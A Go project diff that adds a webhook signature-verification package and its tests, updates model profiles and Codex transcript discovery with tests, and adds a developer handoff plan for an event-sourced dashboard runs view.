diff --git a/internal/webhookverify/verify.go b/internal/webhookverify/verify.go
new file mode 100644
index 0000000000..964cf64bf9
--- /dev/null
+++ b/internal/webhookverify/verify.go
@@ -0,0 +1,188 @@
+package webhookverify
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"sort"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+// Verifier authenticates one inbound webhook delivery under a single scheme.
+// Implementations are stateless with respect to the request and safe for
+// concurrent use; per-scheme configuration is bound at construction via [New].
+type Verifier interface {
+	// Verify reports whether req is an authentic delivery. A non-nil error
+	// means the check could not be performed (operator fault); a VerifyResult
+	// with OK==false means the check ran and the delivery is not authentic.
+	Verify(ctx context.Context, req VerifyRequest) (VerifyResult, error)
+	// Scheme returns the scheme identifier this verifier implements.
+	Scheme() string
+}
+
+// VerifyRequest carries everything a verifier needs to authenticate a delivery.
+// The receiver (E3) populates it from the raw HTTP request plus the
+// operator-resolved secret material; verifiers never touch the process
+// environment or the network for secret material themselves (jwt-jwks fetches
+// its public JWKS, which is not secret).
+type VerifyRequest struct {
+	// Body is the exact raw request body. Signatures are computed over these
+	// bytes; a re-serialized payload would not verify.
+	Body []byte
+	// Header is the inbound request header set. Verifiers read scheme-specific
+	// signature, timestamp, and event headers from it via Header.Get.
+	Header http.Header
+	// Secret is the operator-resolved secret material for the scheme: the HMAC
+	// key for the HMAC family, or the Ed25519 public key (hex or raw 32 bytes)
+	// for discord-ed25519. It is unused by jwt-jwks, whose trust anchor is the
+	// operator [JWTVerifierPolicy] bound at construction. Resolve it with a
+	// [SecretResolver] so the operator-namespace and entropy checks run.
+	Secret []byte
+	// Now optionally overrides the clock for replay and expiry checks. Nil uses
+	// the verifier's configured clock (or time.Now). Intended for tests.
+	Now func() time.Time
+}
+
+// VerifyResult is the outcome of a verification attempt.
+type VerifyResult struct {
+	// OK is true only when the delivery is cryptographically authentic and all
+	// scheme-specific replay/claim checks passed.
+	OK bool
+	// EventType is the provider event type when the scheme surfaces it from a
+	// header (e.g. X-GitHub-Event). Payload-derived event typing is the rule
+	// layer's job (E5) and is left empty here.
+	EventType string
+	// DedupID is a stable per-delivery identifier for at-least-once dedup when
+	// the scheme exposes one (e.g. X-GitHub-Delivery, the Slack timestamp, or
+	// the JWT id). Empty when the scheme carries none. It is safe for
+	// observability (event logs) but NOT necessarily safe as a dedup KEY — see
+	// DedupIDSigned.
+	DedupID string
+	// DedupIDSigned is true only when DedupID is BOTH covered by the delivery's
+	// signature AND unique per delivery, so the receiver may key dedup on it.
+	// It is set only for jwt-jwks (the signed "jti"). It is false for schemes
+	// whose DedupID is an unsigned/attacker-mutable header (github's
+	// X-GitHub-Delivery, generic-hmac's dedup header, discord) or a coarse signed
+	// value that can collide across distinct deliveries (slack's second-granular
+	// timestamp). The receiver keys dedup on the body hash for those, since the
+	// body is signed under every scheme (tamper-proof and per-delivery-unique).
+	DedupIDSigned bool
+	// Identity is the verified principal for identity-bearing schemes — the JWT
+	// subject (falling back to the issuer) for jwt-jwks. Empty for signature-
+	// only schemes.
+	Identity string
+	// Reason is a short human-readable explanation when OK is false.
+	Reason string
+}
+
+// Options carries the resolved, operator-owned inputs a verifier constructor
+// needs beyond the WebhookVerify config.
+//
+// JWTPolicy is kept here rather than being read from config.WebhookVerify on
+// purpose: it is the API boundary that enforces security review R1. A
+// pack-authored WebhookVerify literally cannot set the issuer, audience, or
+// JWKS URL used for trust — only the receiver, populating this struct from the
+// operator's city.toml, can. This package never reads WebhookVerify.Issuer,
+// WebhookVerify.Audience, or WebhookVerify.JWKSURL.
+type Options struct {
+	// JWTPolicy pins the jwt-jwks trust anchor. Required for scheme "jwt-jwks",
+	// ignored otherwise.
+	JWTPolicy *JWTVerifierPolicy
+	// HTTPClient overrides the client used to fetch JWKS. Nil uses a default
+	// client with a bounded timeout.
+	HTTPClient *http.Client
+	// JWKSCacheTTL overrides the JWKS cache lifetime. Zero uses the default.
+	JWKSCacheTTL time.Duration
+	// Now overrides the verifier's clock for replay/expiry checks. Nil uses
+	// time.Now. A per-request VerifyRequest.Now takes precedence over this.
+	Now func() time.Time
+}
+
+// Constructor builds a Verifier for one scheme from its config and options.
+type Constructor func(cfg config.WebhookVerify, opts Options) (Verifier, error)
+
+// registry maps a scheme string to its constructor. It is the single source of
+// truth for which schemes exist; config.knownWebhookSchemes (E2) validates the
+// same set at parse time.
+var registry = map[string]Constructor{
+	"github-hmac-sha256": newGitHubHMAC,
+	"hmac-sha256":        newGenericHMAC,
+	"slack-v0":           newSlackV0,
+	"discord-ed25519":    newDiscordEd25519,
+	"jwt-jwks":           newJWTJWKS,
+}
+
+// ErrUnknownScheme is returned by New for a scheme with no registered verifier.
+var ErrUnknownScheme = errors.New("webhookverify: unknown scheme")
+
+// New builds the verifier for scheme, binding cfg and opts. It returns
+// ErrUnknownScheme for an unregistered scheme and a construction error when the
+// scheme's required inputs are missing or invalid (e.g. a jwt-jwks policy).
+func New(scheme string, cfg config.WebhookVerify, opts Options) (Verifier, error) {
+	ctor, ok := registry[scheme]
+	if !ok {
+		return nil, fmt.Errorf("%w: %q", ErrUnknownScheme, scheme)
+	}
+	return ctor(cfg, opts)
+}
+
+// Schemes returns the registered scheme identifiers in sorted order.
+func Schemes() []string {
+	out := make([]string, 0, len(registry))
+	for s := range registry {
+		out = append(out, s)
+	}
+	sort.Strings(out)
+	return out
+}
+
+// effectiveNow resolves the clock for a verification: the per-request override
+// wins, then the verifier's configured clock, then time.Now.
+func effectiveNow(req VerifyRequest, configured func() time.Time) time.Time {
+	if req.Now != nil {
+		return req.Now()
+	}
+	if configured != nil {
+		return configured()
+	}
+	return time.Now()
+}
+
+// failf builds a failed (OK==false) result with a formatted reason.
+func failf(format string, args ...any) VerifyResult {
+	return VerifyResult{OK: false, Reason: fmt.Sprintf(format, args...)}
+}
+
+// maxReplayWindow is the operator-enforced ceiling on any pack-authorable
+// replay_window. WebhookVerify (including replay_window) is pack/fragment-
+// authored, so a pack could set an enormous window to neuter the very
+// freshness control it benefits from weakening. Clamping to this ceiling
+// mirrors the downward-only rate-limit clamp (config.EffectiveRateLimit): the
+// operator owns the maximum; a pack may only make the window stricter.
+const maxReplayWindow = 15 * time.Minute
+
+// resolveReplayWindow resolves a pack-authored replay_window to the effective
+// duration a timestamp-freshness check should enforce: the default when unset
+// or non-positive, clamped down to maxReplayWindow. A malformed duration string
+// is an operator/pack configuration fault surfaced as a construction error.
+func resolveReplayWindow(raw string, def time.Duration) (time.Duration, error) {
+	w := def
+	if raw = strings.TrimSpace(raw); raw != "" {
+		d, err := time.ParseDuration(raw)
+		if err != nil {
+			return 0, fmt.Errorf("webhookverify: replay_window is invalid: %w", err)
+		}
+		w = d
+	}
+	if w <= 0 {
+		w = def
+	}
+	if w > maxReplayWindow {
+		w = maxReplayWindow
+	}
+	return w, nil
+}
diff --git a/internal/webhookverify/verify_test.go b/internal/webhookverify/verify_test.go
new file mode 100644
index 0000000000..7bd19ce330
--- /dev/null
+++ b/internal/webhookverify/verify_test.go
@@ -0,0 +1,46 @@
+package webhookverify
+
+import (
+	"errors"
+	"reflect"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+func TestSchemesMatchConfigKnownSet(t *testing.T) {
+	// The verifier registry and the E2 config validator must agree on the set
+	// of schemes, or config would accept a scheme with no verifier (or vice
+	// versa).
+	want := []string{"discord-ed25519", "github-hmac-sha256", "hmac-sha256", "jwt-jwks", "slack-v0"}
+	if got := Schemes(); !reflect.DeepEqual(got, want) {
+		t.Fatalf("Schemes() = %v, want %v", got, want)
+	}
+}
+
+func TestNewUnknownScheme(t *testing.T) {
+	_, err := New("totally-made-up", config.WebhookVerify{}, Options{})
+	if !errors.Is(err, ErrUnknownScheme) {
+		t.Fatalf("err = %v, want ErrUnknownScheme", err)
+	}
+}
+
+func TestEveryKnownSchemeHasVerifier(t *testing.T) {
+	// Construct each scheme with the minimum inputs it needs; every one must be
+	// registered.
+	cases := map[string]struct {
+		cfg  config.WebhookVerify
+		opts Options
+	}{
+		"github-hmac-sha256": {},
+		"hmac-sha256":        {cfg: config.WebhookVerify{SignatureHeader: "X-Sig"}},
+		"slack-v0":           {},
+		"discord-ed25519":    {},
+		"jwt-jwks":           {opts: Options{JWTPolicy: &JWTVerifierPolicy{Issuer: "i", Audience: "a", JWKSURL: "https://x/jwks"}}},
+	}
+	for scheme, c := range cases {
+		if _, err := New(scheme, c.cfg, c.opts); err != nil {
+			t.Errorf("New(%q): %v", scheme, err)
+		}
+	}
+}
diff --git a/internal/worker/builtin/profiles.go b/internal/worker/builtin/profiles.go
index ab3e67a8e3..73ffe0be45 100644
--- a/internal/worker/builtin/profiles.go
+++ b/internal/worker/builtin/profiles.go
@@ -166,7 +166,9 @@ var builtinProviderSpecs = map[string]BuiltinProviderSpec{
 					{Value: "fable-5", Label: "Fable 5", FlagArgs: []string{"--model", "claude-fable-5"}, FlagAliases: [][]string{{"-m", "claude-fable-5"}}},
 					{Value: "opus", Label: "Opus", FlagArgs: []string{"--model", "claude-opus-4-8"}, FlagAliases: [][]string{{"-m", "claude-opus-4-8"}}},
 					{Value: "opus-4-7", Label: "Opus 4.7", FlagArgs: []string{"--model", "claude-opus-4-7"}, FlagAliases: [][]string{{"-m", "claude-opus-4-7"}}},
-					{Value: "sonnet", Label: "Sonnet", FlagArgs: []string{"--model", "claude-sonnet-4-6"}, FlagAliases: [][]string{{"-m", "claude-sonnet-4-6"}}},
+					{Value: "sonnet", Label: "Sonnet", FlagArgs: []string{"--model", "claude-sonnet-5"}, FlagAliases: [][]string{{"-m", "claude-sonnet-5"}}},
+					{Value: "sonnet-5", Label: "Sonnet 5", FlagArgs: []string{"--model", "claude-sonnet-5"}, FlagAliases: [][]string{{"-m", "claude-sonnet-5"}}},
+					{Value: "sonnet-4-6", Label: "Sonnet 4.6", FlagArgs: []string{"--model", "claude-sonnet-4-6"}, FlagAliases: [][]string{{"-m", "claude-sonnet-4-6"}}},
 					{Value: "haiku", Label: "Haiku", FlagArgs: []string{"--model", "claude-haiku-4-5-20251001"}, FlagAliases: [][]string{{"-m", "claude-haiku-4-5-20251001"}}},
 				},
 			},
diff --git a/internal/worker/handle_transcriptmeta_test.go b/internal/worker/handle_transcriptmeta_test.go
index eb9e254ad6..e763146ba3 100644
--- a/internal/worker/handle_transcriptmeta_test.go
+++ b/internal/worker/handle_transcriptmeta_test.go
@@ -179,6 +179,97 @@ func TestSessionHandleWritesCodexSidecarByID(t *testing.T) {
 	}
 }
 
+// TestSessionHandleCodexSidecarIgnoresOutOfWindowDuplicate is the 1:1 attribution
+// guard for codex: KeyedTranscriptPath (the sidecar path) must resolve the codex
+// rollout by the window-bounded, ambiguity-refusing lookup (FindCodexSessionFileByID),
+// NOT by the newest-first no-window resolver that history rendering uses. When a
+// copied or stale duplicate rollout carries the same session uuid + workdir but
+// sits outside the session's creation/wake window, the newest-wins resolver would
+// stamp this session's id onto that newer duplicate — a silent misattribution that
+// breaks writeTranscriptSessionMeta's documented 1:1 mapping. The sidecar must land
+// on the in-window rollout and leave the out-of-window duplicate untouched.
+func TestSessionHandleCodexSidecarIgnoresOutOfWindowDuplicate(t *testing.T) {
+	transcriptmeta.SetEnabled(true)
+	t.Cleanup(func() { transcriptmeta.SetEnabled(false) })
+
+	const (
+		workDir = "/work/codex-dup"
+		uuid    = "019e9966-cccc-7000-8000-26a2dd7e15b3" // synthetic; never collides with a real rollout
+	)
+	root := t.TempDir()
+
+	// writeRollout drops a codex rollout named "rollout-<localtime>-<uuid>.jsonl"
+	// under YYYY/MM/DD for ts, with session_meta cwd == workDir so both resolvers
+	// would consider it. Returns the rollout path.
+	writeRollout := func(ts time.Time) string {
+		t.Helper()
+		local := ts.In(time.Local)
+		dir := filepath.Join(root, local.Format("2006"), local.Format("01"), local.Format("02"))
+		if err := os.MkdirAll(dir, 0o755); err != nil {
+			t.Fatal(err)
+		}
+		rollout := filepath.Join(dir, "rollout-"+local.Format("2006-01-02T15-04-05")+"-"+uuid+".jsonl")
+		meta := fmt.Sprintf(`{"timestamp":%q,"type":"session_meta","payload":{"id":%q,"timestamp":%q,"cwd":%q,"originator":"codex-tui","cli_version":"0.121.0","source":"cli","model_provider":"openai"}}`+"\n",
+			ts.UTC().Format(time.RFC3339Nano), uuid, ts.UTC().Format(time.RFC3339Nano), workDir)
+		if err := os.WriteFile(rollout, []byte(meta), 0o644); err != nil {
+			t.Fatal(err)
+		}
+		return rollout
+	}
+
+	now := time.Now()
+	// The legit rollout is created ~now, inside the started session's
+	// [CreatedAt-1day, wake+1day] window (a fresh test session's CreatedAt is now).
+	inWindow := writeRollout(now)
+	// A copied/stale duplicate with the SAME uuid + workdir, dated well past the
+	// window and NEWER than the legit rollout, so the newest-first no-window
+	// resolver would prefer it. The window-bounded lookup must never scan its day.
+	outOfWindow := writeRollout(now.AddDate(0, 0, 5))
+
+	handle, _, _, manager := newTestSessionHandle(t, SessionSpec{
+		Profile:  ProfileCodexTmuxCLI,
+		Template: "probe",
+		Title:    "Probe",
+		Command:  "codex",
+		WorkDir:  workDir,
+		Provider: "codex",
+	})
+	handle.adapter.SearchPaths = []string{root}
+	if err := handle.Start(context.Background()); err != nil {
+		t.Fatalf("Start: %v", err)
+	}
+	id := handle.currentSessionID()
+	// Stamp the codex session_key (production stamps it from the SessionStart hook).
+	if err := manager.PersistSessionKey(id, uuid); err != nil {
+		t.Fatalf("PersistSessionKey: %v", err)
+	}
+
+	// KeyedTranscriptPath must resolve to the in-window rollout, not the newer
+	// out-of-window duplicate the newest-wins resolver would return.
+	got, err := manager.KeyedTranscriptPath(id, []string{root})
+	if err != nil {
+		t.Fatalf("KeyedTranscriptPath: %v", err)
+	}
+	if got != inWindow {
+		t.Fatalf("KeyedTranscriptPath = %q, want in-window rollout %q (out-of-window duplicate %q must be ignored)", got, inWindow, outOfWindow)
+	}
+
+	handle.writeTranscriptSessionMeta()
+
+	// The sidecar lands on the in-window rollout and carries the session bead id.
+	sidecar, err := os.ReadFile(inWindow + transcriptmeta.Suffix)
+	if err != nil {
+		t.Fatalf("read in-window sidecar: %v", err)
+	}
+	if strings.TrimSpace(string(sidecar)) != id {
+		t.Fatalf("in-window sidecar = %q, want session bead id %q", strings.TrimSpace(string(sidecar)), id)
+	}
+	// The out-of-window duplicate must be left untouched — no misattributed sidecar.
+	if _, err := os.Stat(outOfWindow + transcriptmeta.Suffix); !os.IsNotExist(err) {
+		t.Fatalf("out-of-window duplicate got a sidecar (misattribution); stat err = %v", err)
+	}
+}
+
 // TestSessionHandleSkipsSidecarForWorkdirOnlyProvider is the HIGH-finding guard:
 // gemini (like opencode/mimocode) has no 1:1 by-id transcript lookup, so even
 // with a session key present KeyedTranscriptPath returns "" and no sidecar is
diff --git a/internal/worker/transcript/discovery.go b/internal/worker/transcript/discovery.go
index a0e6b317e6..d31172b012 100644
--- a/internal/worker/transcript/discovery.go
+++ b/internal/worker/transcript/discovery.go
@@ -3,6 +3,7 @@ package transcript
 
 import (
 	"strings"
+	"time"
 
 	"github.com/gastownhall/gascity/internal/sessionlog"
 )
@@ -35,10 +36,12 @@ func DiscoverPath(searchPaths []string, provider, workDir, gcSessionID string) s
 
 // DiscoverKeyedPath resolves only the session-id-based transcript path.
 func DiscoverKeyedPath(searchPaths []string, provider, workDir, gcSessionID string) string {
-	if strings.TrimSpace(gcSessionID) == "" || !SupportsIDLookup(provider) {
+	if strings.TrimSpace(gcSessionID) == "" {
 		return ""
 	}
 	switch sessionlog.ProviderFamily(provider) {
+	case "codex":
+		return sessionlog.FindCodexSessionFileByIDNoWindow(searchPaths, workDir, gcSessionID)
 	case "kimi":
 		return sessionlog.FindKimiSessionFileByID(searchPaths, workDir, gcSessionID)
 	case "pi":
@@ -46,9 +49,18 @@ func DiscoverKeyedPath(searchPaths []string, provider, workDir, gcSessionID stri
 	case "antigravity":
 		return sessionlog.FindAntigravitySessionFileByID(searchPaths, workDir, gcSessionID)
 	}
+	if !SupportsIDLookup(provider) {
+		return ""
+	}
 	return sessionlog.FindSessionFileByID(searchPaths, workDir, gcSessionID)
 }
 
+// DiscoverCodexPathInTimeWindow resolves a Codex transcript whose metadata
+// timestamp uniquely matches the supplied session-start window.
+func DiscoverCodexPathInTimeWindow(searchPaths []string, workDir string, start, end time.Time) string {
+	return sessionlog.FindCodexSessionFileInTimeWindow(searchPaths, workDir, start, end)
+}
+
 // DiscoverFallbackPath resolves the narrow provider-specific fallback path to
 // use when a keyed transcript lookup misses.
 func DiscoverFallbackPath(searchPaths []string, provider, workDir, gcSessionID string) string {
diff --git a/internal/worker/transcript/discovery_test.go b/internal/worker/transcript/discovery_test.go
index 2a7ae717ef..63eadf7f69 100644
--- a/internal/worker/transcript/discovery_test.go
+++ b/internal/worker/transcript/discovery_test.go
@@ -132,6 +132,54 @@ func TestDiscoverPathCodexIgnoresGCSessionID(t *testing.T) {
 	}
 }
 
+func TestDiscoverPathCodexPrefersProviderSessionID(t *testing.T) {
+	base := t.TempDir()
+	workDir := filepath.Join(t.TempDir(), "codex-project")
+	codexDir := filepath.Join(base, "2026", "05", "19")
+	if err := os.MkdirAll(codexDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	targetID := "019e3e8e-3591-7532-a1ef-8b9e882bea2f"
+	targetPayload, err := json.Marshal(map[string]any{
+		"timestamp": "2026-05-19T04:46:07.848Z",
+		"type":      "session_meta",
+		"payload": map[string]string{
+			"id":  targetID,
+			"cwd": workDir,
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	targetPath := filepath.Join(codexDir, "rollout-2026-05-19T04-46-07-"+targetID+".jsonl")
+	if err := os.WriteFile(targetPath, append(targetPayload, '\n'), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	newerID := "019e3e8e-ffff-7000-a1ef-8b9e882bea2f"
+	newerPayload, err := json.Marshal(map[string]any{
+		"timestamp": "2026-05-19T05:46:07.848Z",
+		"type":      "session_meta",
+		"payload": map[string]string{
+			"id":  newerID,
+			"cwd": workDir,
+		},
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	newerPath := filepath.Join(codexDir, "rollout-2026-05-19T05-46-07-"+newerID+".jsonl")
+	if err := os.WriteFile(newerPath, append(newerPayload, '\n'), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	got := DiscoverPath([]string{base}, "codex/tmux-cli", workDir, targetID)
+	if got != targetPath {
+		t.Fatalf("DiscoverPath() = %q, want keyed Codex transcript %q", got, targetPath)
+	}
+}
+
 func TestDiscoverPathKimiPrefersSessionKey(t *testing.T) {
 	base := t.TempDir()
 	workDir := "/tmp/gascity/phase1/kimi"
diff --git a/plans/runs-view-HANDOFF.md b/plans/runs-view-HANDOFF.md
new file mode 100644
index 0000000000..3e37c55e3f
--- /dev/null
+++ b/plans/runs-view-HANDOFF.md
@@ -0,0 +1,125 @@
+# Runs-view event-sourcing — Handoff
+
+Last updated: 2026-06-28. Owner of record: hand-off from the session that landed P0+P1.
+
+## Goal (one line)
+
+Replace the dashboard **Runs view**'s slow `bd`/`gc` molecule scans with a Go projection that folds the per-city `.gc/events.jsonl` (the OSS-local analog of the hosted ClickHouse run projection), so the view is fast and has one source of truth.
+
+## Decided architecture (do not re-litigate)
+
+**SingleSource-RunProjection** (effort-agnostic architect-panel decision). Full ADR: [`plans/runs-view-architecture-adr.md`]; design + feasibility evidence: [`plans/runs-view-event-sourcing.md`].
+
+- Run **semantics** (fold, grouping, phase/stage classification, health/census) live **once, in Go** (`internal/runproj`), object-model layer (deps: `internal/beads` + `internal/events` only).
+- Run **knowledge** that is editable data (per-formula stage tables, phase-token vocab, `gc.kind`→construct map, lifecycle rank) lifts into a versioned `runspec/*.toml`, code-generated into both Go and TS under a regenerate-and-diff CI gate (P5).
+- The SPA becomes a **pure renderer** of the existing `RunSummary` / `FormulaRunDetail` DTOs (P4 deletes ~5,000 LOC of TS run logic).
+- Summary + detail share the **same fold** so they cannot disagree on a lane/phase/stage.
+
+Locked product decisions: pure event-sourcing (no beads backfill); full server-side incl. session enrich; direct cutover gated by golden parity; cold-replay each supervisor start (no persisted checkpoint in v1).
+
+## Current state
+
+- **PR #3804** — branch `feat/runs-event-projection`, **draft → `main`** (rebased off the dashboard branch on 2026-06-29; see Base below). **Supersedes #3793**, which GitHub auto-closed when its base `feat/dashboard-supervisor-hosting` was deleted on the #3727 squash-merge (a closed PR with a deleted base cannot be reopened or retargeted, so a fresh PR was opened). Draft until ready to merge; **live deploy is gated by #3288** (see Deploy status).
+- **Commits on the PR:** P0 foundation (`13e93eb22`) + P1 buildRunSummary port (`2c8be44f6`) + P2a enrich port (`006c5c32d`) + P2b tailer/endpoint (`62a599efa`) + P3 detail interpreter/endpoint (`1bc9e3dea`), all golden-gated and lint-clean.
+- **Base: rebased onto `origin/main` on 2026-06-29** (after #3727 squash-merged to main as `677ce243f`; the dashboard branch no longer exists on origin). Command: `git rebase --onto origin/main 05b3a8ca6 feat/runs-event-projection` — replayed the **17 run-projection commits CLEANLY (no conflicts)**; the inherited 9 dashboard commits were dropped (their content is in main via the squash). Rebased tip `bb53a14e4` on `origin/main 8cacec199`; force-pushed-with-lease. Pre-rebase tip backed up on branch `backup/runs-event-projection-pre-main-rebase`. Re-verified green on main: `make dashboard-check`, dist **byte-identical**, `go build ./cmd/gc` (246 MB), `go test ./internal/runproj` goldens + `-race ./internal/api/dashboardbff`. **Commit hashes elsewhere in this doc are pre-rebase (historical); commits live under new hashes.**
+- **Re-rebased onto current `origin/main` `c91105e2b` on 2026-06-30.** main had advanced 16 commits (incl. the #3288 fix #3811 + #3822 which rebuilt the dashboard dist), turning #3804 CONFLICTING. Re-rebased with `git rebase origin/main`; the **only** conflict was the generated `dist/` (source files disjoint) — resolved per-commit then one `make dashboard-build` regenerated dist for the merged source (committed `chore(dashboard): rebuild dist after rebase`, tip `48df87653`). Backup `backup/runs-event-projection-pre-main-rebase2`. #3804 is now **MERGEABLE**; re-verified green (`make dashboard-check`, `go build ./cmd/gc` 246 MB, lint, vitest 759, runproj goldens).
+- **Deploy status — #3288 blocker CLEARED on main.** Window 3 (tmux `recovered-interactive-20260613:3`, deploy owner) fixed the boot-hang: **#3811 MERGED to main 2026-06-29** ("defer pool sweep + orphan/failed-create session closes on the boot reconcile"; cause was `792ad0337`'s boot-time per-session bd write-wave under Dolt contention). Live maintainer-city still runs `dev-d12ecdf81` (pre-#3288); redeploy mechanism: `gc-promote-dev --ref <sha>` (clean clone → `make check` → install → flip `current` → session-preserving restart); `gc-rollback dev-d12ecdf81` to recover. **Remaining to ship the run-views live:** mark #3804 ready → merge to main → `gc-promote-dev --ref <main-sha>` (main now boots clean) → run-views live with real data; coordinate the restart with window 3. To preview sooner without touching maintainer-city: a fresh/small test city renders the views (empty — no real run data).
+- **Done:**
+  - **P0** — `internal/runproj/fold.go` (events→bead `Fold`/`Apply`/`FoldFile`) + golden corpus in `internal/runproj/testdata/` (14-bead fixture + `runsummary_golden.json` + `rundetail_golden.json`), generated by `internal/api/dashboardspa/web/scripts/gen-run-goldens.mts` with npm scripts `gen:run-goldens` / `gen:run-goldens:check` (CI drift guard).
+  - **P1** — `BuildRunSummary([]beads.Bead, ...BuildOption)` in `internal/runproj/{summary,types,marshal,phasemapping,scope,strip,formulaname}.go`, **byte-for-byte** equal to the TS `buildRunSummary` output (`summary_golden_test.go`, GREEN). Health/census left at the builder default (status "unavailable").
+  - **P2a** — session-enrich port (`006c5c32d`): `EnrichRunSummary` + `AdvanceProgressMarks` + `DashboardSession`/session-resolve in `internal/runproj/{enrich,session}.go`, available-arm marshalers (`types.go`/`marshal.go`). New `runsummary_enriched_golden.json` (fixture beads + `sessions_fixture.json`, fixed generation time) emitted by the generator; `TestEnrichRunSummaryGolden` is byte-for-byte GREEN. Ported `health.test.ts` + `liveness.test.ts` to Go, plus a cross-generation thrash test.
+  - **P2b** — per-city tailer + endpoint (`62a599efa`): `runproj.Projector` (order-preserving fold) + `internal/api/dashboardbff/runtailer.go` (cold replay `ColdLoad`, read-only `events.ReadFrom` byte-offset tail, race-free resume, server-side marks) + `GET /api/city/{cityName}/runs/summary` (warm fold + request-time loopback `/v0 sessions` enrich, degrade-to-unavailable). Wired into `plane.go` Start/Stop. Race-clean tailer/endpoint/Projector tests; `TestOpenAPISpecInSync` stays green (non-Huma plane).
+  - **P3** — detail interpreter + endpoint (`1bc9e3dea`): `BuildRunDetail([]beads.Bead, runID, version, eventSeq)` + `BuildRunDetailWithSessions` in `internal/runproj/detail*.go` (13 new files). The whole TS detail pipeline ported single-homed: snapshot synthesis (`snapshotForRun`/`toRunSnapshotBead`/`depsForMembers`), `groupRunBeads` (semantic-id disambiguation, badge aliasing), `buildRunDisplayNode`/`latestIterationsByLoop`, `buildRunDisplayEdges` (hidden scope-check bridging), `applyDisplayNodeStates`, `orderRunNodeGroups`, `buildRunDisplayLanes`, `runSessionLinkFor`, `resolveRunFormulaIdentity`/`resolveRunExecutionPath`, union marshalers. **`rundetail_golden.json` byte-for-byte GREEN** (`TestBuildRunDetailGolden`); summary↔detail phase/stage consistency test; ported `session-link.test.ts`. New `GET /api/city/{cityName}/runs/{runId}/detail` on the BFF plane (warm `Projector.Beads()`+`LastSeq`, request-time `/v0` sessions enrich, `UnsupportedRunError`→422+reason, missing run→404, warming→503). `TestOpenAPISpecInSync` stays green.
+    - **Adversarial review (9-pair Go↔TS diff workflow) landed 5 fixes** in the same commit: (1) **`semanticIdFromStepRef`** for an `"iteration.N"` step ref returned a present-but-empty `""` semantic id (TS reads `semanticParts[-1]`=undefined via plain bracket, not `.at(-1)`) — corrupted grouping; now falls through to bead-id/`run-node` (`TestSemanticNodeIDForIterationStepRef`). (2) `isPositiveInteger` float64 exact-representability gate. (3) `externalizeDisplayText` `\s` collapse uses the JS Unicode whitespace set. (4) `nonEmpty` trims the ECMAScript `String.prototype.trim()` set (strips U+FEFF, not U+0085 — inverse of `unicode.IsSpace`) at the single chokepoint; all P0–P3 goldens stayed byte-identical. (5) `formulaRankByAlias` nil-vs-empty `preview.nodes` to mirror `??`.
+    - **Two divergences left as accepted/known (NOT bugs to fix here):** (a) `localeCompare` tie-breaks are byte-compared — the uniformly-applied P1 convention across summary+enrich+detail (an exact-ICU fix would need a collation dep and must touch every tie-break); (b) P1 `parsePositiveInteger` uses `strconv.Atoi` vs TS `Number()` (rejects `"1e2"`/`"0x10"` review-round values) — pre-existing P1 code, unreachable with real round values; fix in a P1-scoped change if ever needed.
+  - **P4a — SPA cutover (this session, `30dbb7214` + hardening `ceaeac078`).** The two SPA loaders now read the BFF endpoints; the SPA is a pure renderer of the unchanged DTOs. `api/client.ts` adds `runSummary()`/`runDetail(runId)` GETs (edge decoders validate every field a renderer hard-derefs) + threads the BFF 422 `reason` through `ApiError`/`ApiClientError`. `supervisor/runSummary.ts` → 1 warm GET (4 loaders collapsed; server owns enrich/health/census/marks/history). `runs/runSummarySubscription.tsx` drops the now-incorrect history-merge (BFF folds active+historical atomically), keeps last-good retention + SSE 10s-debounce + degraded-retry. `supervisor/runDetail.ts` → 1 GET with a bounded transient retry (503/5xx/network, not 4xx). `hooks/useFormulaRunDetail.ts` maps `ApiClientError` (422+not_run_view→unsupported, 422+invalid_snapshot→failed, 404→not_found). 6 test files rewritten to the thin read surface (deleted fold coverage now lives in the Go goldens). **Additive + revertable: `shared/src/runs/*` still exists, now unused by the loaders.** All gates green (dashboard-check, typecheck/typecheck:test/lint, vitest 759, golden-drift, `-race` dashboardbff).
+
+## Worktree map — IMPORTANT
+
+- **Work here:** `/data/projects/gascity/.claude/worktrees/runs-proj` (branch `feat/runs-event-projection`). `node_modules` is installed under `internal/api/dashboardspa/web` for the golden generator.
+- **DO NOT touch:** `/data/projects/gascity/.claude/worktrees/new-dashboard` — it has ~300 uncommitted non-mine changes (the in-flight beads-attribution / core refactor). The operator said leave it untouched. Never `git add -A`/`stash`/`checkout -- .` there.
+- The harness resets shell cwd each Bash call → prefix commands with `cd /data/projects/gascity/.claude/worktrees/runs-proj && …`.
+
+## How to verify (run before/after every change)
+
+```bash
+cd /data/projects/gascity/.claude/worktrees/runs-proj
+go build ./internal/runproj/ && go vet ./internal/runproj/
+go test ./internal/runproj/ -count=1            # golden parity must stay GREEN
+gofmt -l internal/runproj/                       # must be empty
+golangci-lint run ./internal/runproj/            # 0 issues
+# regenerate goldens (after intentional TS-shape changes only) + drift guard:
+cd internal/api/dashboardspa/web && npm run gen:run-goldens:check
+```
+
+## Remaining phases (each = a golden-gated commit on #3793)
+
+### P2 — per-city tailer + `/runs/summary` endpoint + server-side enrich — ✅ DONE
+Landed as P2a (`006c5c32d`) + P2b (`62a599efa`). Notes for later phases:
+- The live tail uses a self-contained read-only `events.ReadFrom` byte-offset loop in `runtailer.go` (NOT a `transientCityEventProvider` — no such symbol exists; this keeps the tailer fork-owned with no supervisor wiring). Resume is race-free: offset captured before cold replay + seq dedupe.
+- `EnrichRunSummary(s, sessions, sessionsAvailable, nowMs, marks)` — marks are tailer-owned (`AdvanceProgressMarks`), passed in read-only. Sessions are unmarshaled straight from the `/v0` list `items` into `[]DashboardSession` (equivalent to `normalizeSessions`).
+- `enrich.ts` in the original P2 note was a red herring — it's the *detail* enrich (`enrichFormulaRun`), which is P3.
+
+### P3 — detail interpreter + `/runs/{id}/detail` — ✅ DONE (`1bc9e3dea`)
+
+Landed (see "Current state" above for the commit summary + the 5 adversarial-review fixes + 2 accepted divergences). **Next phase is P4.** Notes below are retained for context.
